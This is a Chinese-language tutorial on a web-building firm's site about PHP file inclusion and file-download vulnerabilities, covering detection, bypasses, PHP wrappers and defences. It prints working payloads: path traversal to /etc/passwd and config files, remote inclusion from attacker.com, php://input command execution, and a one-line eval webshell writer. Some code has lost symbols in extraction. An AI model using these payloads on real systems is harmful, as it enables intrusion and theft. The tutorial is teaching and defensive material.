尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

文件包含与下载漏洞:从原理到实战,一篇就够了

文件包含与下载漏洞:从原理到实战,一篇就够了 在Web安全中文件包含与文件下载漏洞属于“老牌”高危漏洞却依然频繁出现在各类CTF和真实渗透测试中。本文基于多年培训资料与实战案例系统梳理其原理、检测手法、绕过技巧及PHP伪协议利用助你全面掌握这类漏洞的攻防要点。一、什么是文件包含漏洞在开发中为了复用代码如头部、底部、配置加载程序员常使用include、require等函数将外部文件“包含”进当前脚本。文件包含漏洞的本质是用户可控的参数被传入包含函数且未做严格过滤导致攻击者可以包含任意文件将其作为PHP代码执行。危害有多大执行恶意代码上传图片马通过包含触发后门。读取敏感文件直接读取/etc/passwd、数据库配置等。获取Webshell配合日志、伪协议等写入后门。远程包含RFI直接执行远程服务器上的恶意脚本危害最大。二、如何检测文件包含漏洞白盒审计搜索代码中的敏感函数include、include_once、require、require_once并追踪参数是否来自用户输入$_GET、$_POST、$_COOKIE是否有过滤。黑盒检测手动测试在URL参数如?filexxx中尝试?file./index.php、?file../../etc/passwd观察响应变化。扫描工具使用AWVS、Burp Suite、Nikto等自动探测。公开漏洞针对已知CMS或框架的POC进行验证。三、本地文件包含LFI与远程文件包含RFI1. 本地文件包含LFI只能包含服务器本地已存在的文件若目标文件不存在需配合其他漏洞如文件上传才能形成有效攻击。无限制包含示例upload.phpphp?php $filename $_GET[filename]; include($filename); ?访问?filename1.txt而1.txt内容为?php phpinfo(); ?即可执行phpinfo。有限制包含upload2.phpphp?php $filename $_GET[filename]; include($filename . .html); ?此时若仍传1.txt实际包含的是1.txt.html会导致文件不存在。需要绕过。绕过技巧00截断Null BytePHP 5.3.4?filename1.txt%00截断后面的.html。长度截断Windows 255字符Linux 4096字符构造超长路径使拼接的扩展名被截断。2. 远程文件包含RFI允许包含远程服务器上的文件危害极大。需要php.ini中开启allow_url_include On。示例攻击者在自己服务器上放1.txt内含?php phpinfo(); ?然后访问?filenamehttp://attacker.com/1.txt即可执行远程代码。有限制远程包含绕过若目标强制添加.html后缀可通过文件名绕过将远程文件命名为1.txt.html或使用#%23和?绕过后缀拼接例如?filenamehttp://attacker.com/1.txt%23后面的.html被当作锚点忽略。四、PHP伪协议文件包含的“瑞士军刀”PHP支持多种伪协议可在文件包含中实现读取源码、执行命令、写Shell等操作。协议用途条件file://读取本地文件需绝对路径无特殊限制php://filter读取源码并Base64编码绕过执行无需allow_url_includephp://input将POST数据作为PHP代码执行需allow_url_includeOndata://内联数据可直接执行PHP代码需allow_url_includeOnzip:///phar://解压压缩包内的文件无限制经典利用场景1. 读取源码php://filterurl?filephp://filter/readconvert.base64-encode/resourceindex.php返回Base64编码的源码解码后可审计逻辑。2. 任意命令执行php://input POSThttpPOST /include.php?filephp://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 ?php system(whoami); ?直接执行系统命令。3. 写入Webshellphp://inputphp?php fputs(fopen(shell.php,w),?php eval($_POST[cmd]); ?); ?POST此数据后当前目录生成一句话木马。4. data:// 执行代码url?filedata://text/plain,?php phpinfo();?或Base64编码url?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz85. file:// 读取敏感文件url?filefile://C:\Windows\System32\drivers\etc\hosts五、文件下载/读取漏洞与文件包含类似但本质是通过下载功能读取服务器文件。常见于download.php?filenamexxx这类参数未过滤路径。案例Pikachu靶场下载接口texthttp://target/vul/unsafedownload/execdownload.php?filenamesmallane.png将filename改为../../inc/config.inc.php即可下载数据库配置文件获得敏感信息。防御要点对下载路径进行白名单限制或使用文件ID映射真实路径禁止../等目录穿越符号。六、防御与修复建议尽量避免用户输入直接控制包含/下载路径使用白名单或映射表。严格过滤特殊字符../、%00、#、?、等。关闭远程包含allow_url_include Off默认。使用open_basedir限制PHP访问的目录防止跨目录读取。对文件包含的目标文件进行后缀强制限制如.php但注意结合截断绕过的历史版本。定期更新PHP版本修复已知绕过漏洞如00截断在5.3.4后被修复。结语文件包含与下载漏洞虽老但结合伪协议和编码技巧依然能在CTF和实战中发挥巨大作用。理解其底层原理、掌握常见的绕过姿势是每个安全从业者的必备技能。防御永远比攻击难开发者需从设计之初就牢记“用户输入不可信”的铁律。希望本文能助你在漏洞挖掘与防护的路上更进一步。本文案例均来自合法授权环境请勿用于非法用途。
返回列表